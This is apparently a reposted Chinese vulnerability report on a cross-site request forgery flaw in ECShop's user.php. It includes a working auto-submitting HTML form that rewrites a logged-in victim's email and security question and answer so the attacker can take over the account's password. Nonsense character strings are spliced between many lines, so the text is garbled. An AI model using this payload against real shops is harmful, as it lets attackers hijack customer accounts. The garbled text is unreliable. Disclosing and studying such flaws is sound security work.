ecshop修改任意用户密码漏洞的CSRF利用

admin

简要描述：
ecshop在设计认证机制的时候存在一个问题，导致恶意用户可以窃取其他用户的密码，这个过程可以通过xss和csrf实现
; }. T0 Q) W' a5 M  }0 X8 M2 ^
Demo For:http://www.wooyun.org/bug.php?action=view&id=395
' P& f  a; C* H/ }
0 s! q" q  v3 z1 g; i9 y; z. N详细说明：
5 f: \2 f" d- Q1 g* ^/ y利用csrf和xss可以突破官方所说的“障碍”
xss版本已经有人说明
这里给出csrf版本

漏洞证明：
6 i5 m% T3 d) O+ H. n. R<html>
<body>
: }. i2 g) a6 Q. m) I+ x<form action="http://www.wooyun.org/ecshop/user.php" method="POST">
<INPUT TYPE="text" NAME="email" value="hack@wooyun.org">
, \* r! p4 S6 K  Y* F<INPUT TYPE="text" NAME="act" value="act_edit_profile">
<INPUT TYPE="text" NAME="sel_question" value="ecshop">
& _) {  G4 S3 w8 w% F& P; e  u<INPUT TYPE="text" NAME="passwd_answer" value="exploit">
</body>
<script>
6 T9 L% X+ k- V. n3 l& |8 {$ p5 Odocument.forms[0].submit();
</script>
</html>
8 R& {! ?4 n: ?! `. D# c7 W6 x% J' k构造该网页，用户在登录情况下访问该网页将导致email以及一些其他安全信息丢失
! U- c# \3 \# t( Q8 X% {
3 b) I2 g. U& D' Y: |7 i* s0 X% R